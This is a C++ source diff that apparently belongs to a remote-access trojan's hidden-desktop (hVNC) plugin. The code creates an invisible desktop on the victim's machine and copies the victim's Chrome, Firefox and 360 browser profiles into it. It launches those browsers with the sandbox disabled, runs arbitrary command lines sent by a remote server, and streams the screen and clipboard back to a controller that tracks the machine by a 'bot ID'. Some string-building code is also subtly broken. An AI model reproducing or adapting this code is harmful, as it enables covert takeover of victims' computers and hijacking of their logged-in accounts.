case COMMAND_HIDE_CLEAR:
|
||||
SafeTerminateDesktopProcesses(g_hDesk);
|
||||
break;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||
char* deskName = (char*)m_DesktopID.c_str();
|
||||
switch (lpBuffer[1]) {
|
||||
case IDM_OPEN_Explorer: {
|
||||
const DWORD neverCombine = 2;
|
||||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||
|
||||
HKEY hKey;
|
||||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||
DWORD value;
|
||||
DWORD size = sizeof(DWORD);
|
||||
DWORD type = REG_DWORD;
|
||||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||
|
||||
if (value != neverCombine)
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||
|
||||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||
lstrcat(explorerPath, _T("\\"));
|
||||
lstrcat(explorerPath, _T("explorer.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
|
||||
APPBARDATA appbarData;
|
||||
appbarData.cbSize = sizeof(appbarData);
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
Sleep(1000);
|
||||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||
if (appbarData.hWnd)
|
||||
break;
|
||||
}
|
||||
|
||||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||
RegCloseKey(hKey);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_run: {
|
||||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Powershell: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Chrome: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Edge: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("msedge.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Brave: {
|
||||
killproc(_T("brave.exe"));
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("brave.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Firefox: {
|
||||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||
|
||||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||
lstrcat(profilesIniPath, firefoxPath);
|
||||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||
|
||||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||
DWORD read;
|
||||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||
profilesIniContent[profilesIniSize] = 0;
|
||||
|
||||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||
if (!isRelativeRead) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
|
||||
isRelativeRead += 11;
|
||||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||
|
||||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||
if (!path) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||
if (!pathEnd) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
*pathEnd = 0;
|
||||
path += 5;
|
||||
|
||||
TCHAR realPath[MAX_PATH] = { 0 };
|
||||
if (isRelative)
|
||||
lstrcpy(realPath, firefoxPath);
|
||||
lstrcat(realPath, path);
|
||||
|
||||
TCHAR newPath[MAX_PATH];
|
||||
lstrcpy(newPath, firefoxPath);
|
||||
lstrcpy(newPath, deskName);
|
||||
|
||||
CopyDir(realPath, newPath);
|
||||
|
||||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||
lstrcpy(browserPath, _T("firefox.exe"));
|
||||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
lstrcpy(browserPath, newPath);
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Iexplore: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("iexplore.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy2: {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, m_ZdyCmd.cmdline);
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, m_ZdyCmd.newpath);
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360JS: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("360chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("secoresdk\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ2: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("360se6\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::InitScreenSpy() {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
BYTE* param = (BYTE*)m_ptrUser;
|
||||
int compress = ALGORITHM_DIFF;
|
||||
if (param) {
|
||||
compress = param[1];
|
||||
delete[] param;
|
||||
m_ptrUser = NULL;
|
||||
}
|
||||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
|
||||
#include "ScreenHideSpy.h"
|
||||
#include "ScreenManagerBase.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenHideManager : public CScreenManagerBase
|
||||
{
|
||||
public:
|
||||
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
|
||||
virtual ~CScreenHideManager();
|
||||
|
||||
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
|
||||
|
||||
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
virtual void InitScreenSpy();
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
// 隐私屏幕捕获器。
|
||||
//
|
||||
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||||
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||||
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||||
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||||
class CScreenHideSpy : public ::CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||||
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||||
{
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,642 @@
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <tchar.h>
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenManagerBase : public CManager {
|
||||
public: // 构造和析构
|
||||
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
|
||||
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
|
||||
{
|
||||
m_DlgToken = token;
|
||||
g_hDesk = nullptr;
|
||||
m_DesktopID = GetBotId();
|
||||
m_ptrUser = user;
|
||||
m_ScreenSpyObject = nullptr;
|
||||
m_biBitCount = nBitDepth;
|
||||
m_fps = 10;
|
||||
m_bIsWorking = TRUE;
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
m_point = {};
|
||||
m_lastPoint = {};
|
||||
m_lmouseDown = FALSE;
|
||||
m_hResMoveWindow = nullptr;
|
||||
m_resMoveType = 0;
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickPoint = {};
|
||||
m_rclickWnd = nullptr;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
|
||||
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
|
||||
SetReady(TRUE);
|
||||
}
|
||||
virtual ~CScreenManagerBase() {
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
|
||||
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
|
||||
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
if (g_hDesk) {
|
||||
auto b = CloseDesktop(g_hDesk);
|
||||
g_hDesk = NULL;
|
||||
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
public: // 非纯虚函数
|
||||
virtual BOOL SendFirstScreen() {
|
||||
ULONG len = 0;
|
||||
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
|
||||
if (nullptr == data) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_ClientObject->Send2Server((char*)data, 1 + len);
|
||||
}
|
||||
|
||||
virtual bool IsMetricsChange() {
|
||||
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
|
||||
if (m_oldwidth == 0 || m_oldheigh == 0) {
|
||||
return false;
|
||||
}
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
virtual void Loop_Screen() {
|
||||
// 获取分辨率
|
||||
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
// 修改分辨率
|
||||
DEVMODE lpDevMode;
|
||||
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
|
||||
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
|
||||
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
|
||||
lpDevMode.dmSize = sizeof(lpDevMode);
|
||||
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
|
||||
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
|
||||
if (result == DISP_CHANGE_SUCCESSFUL) {
|
||||
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
|
||||
}
|
||||
else {
|
||||
ChangeDisplaySettings(NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
|
||||
|
||||
virtual int GetCurrentPixelBits() { return m_biBitCount; }
|
||||
|
||||
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
|
||||
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual void ResetScreen(int biBitCount = 32) {
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
m_biBitCount = biBitCount;
|
||||
m_bIsWorking = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
}
|
||||
|
||||
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
|
||||
if (!OpenClipboard(NULL))
|
||||
return;
|
||||
EmptyClipboard();
|
||||
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||
if (hGlobal != NULL) {
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress)
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
virtual VOID SendClientClipboard() {
|
||||
if (!OpenClipboard(NULL)) //打开剪切板设备
|
||||
return;
|
||||
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
|
||||
if (hGlobal == NULL) {
|
||||
CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
GlobalUnlock(hGlobal);
|
||||
CloseClipboard();
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
virtual DWORD WorkProcess() {
|
||||
CScreenManagerBase* This = this;
|
||||
This->InitScreenSpy();
|
||||
|
||||
This->SendBitMapInfo();
|
||||
if (This->m_bIsWorking)
|
||||
This->WaitForDialogOpen();
|
||||
This->SendScreenSize();
|
||||
clock_t last = clock();
|
||||
if (!This->SendFirstScreen()) {
|
||||
Mprintf("Send first screen failed!!!\n");
|
||||
return 0x20250224;
|
||||
}
|
||||
Mprintf("Succeed sending bmpInfo and first screen\n");
|
||||
|
||||
float fps = This->m_fps;
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
int s0 = sleep; // 两帧之间隔(ms)
|
||||
const int frames = fps; // 每秒调整屏幕发送速度
|
||||
const double alpha = 1.1; // 控制fps的因子
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
ULONG ulNextSendLength = 0;
|
||||
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (NULL == szBuffer) {
|
||||
continue;
|
||||
}
|
||||
int span = s0 - (clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // 连续一定次数耗时长
|
||||
s0 = (s0 <= 500) ? s0 * alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // 连续一定次数耗时短
|
||||
s0 = (s0 >= 40) ? s0 / alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual DWORD ControlProcess() {
|
||||
CScreenManagerBase* pThis = this;
|
||||
pThis->WaitForDialogOpen();
|
||||
while (pThis->IsConnect() && pThis->m_bIsWorking) {
|
||||
// 分辨率大小改变了
|
||||
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(2000);
|
||||
}
|
||||
Sleep(10);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
|
||||
return pThis->WorkProcess();
|
||||
}
|
||||
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
|
||||
return pThis->ControlProcess();
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||
if (len == 0) return L""; // 转换失败
|
||||
|
||||
std::wstring wideStr(len, L'\0');
|
||||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||
|
||||
return wideStr;
|
||||
}
|
||||
|
||||
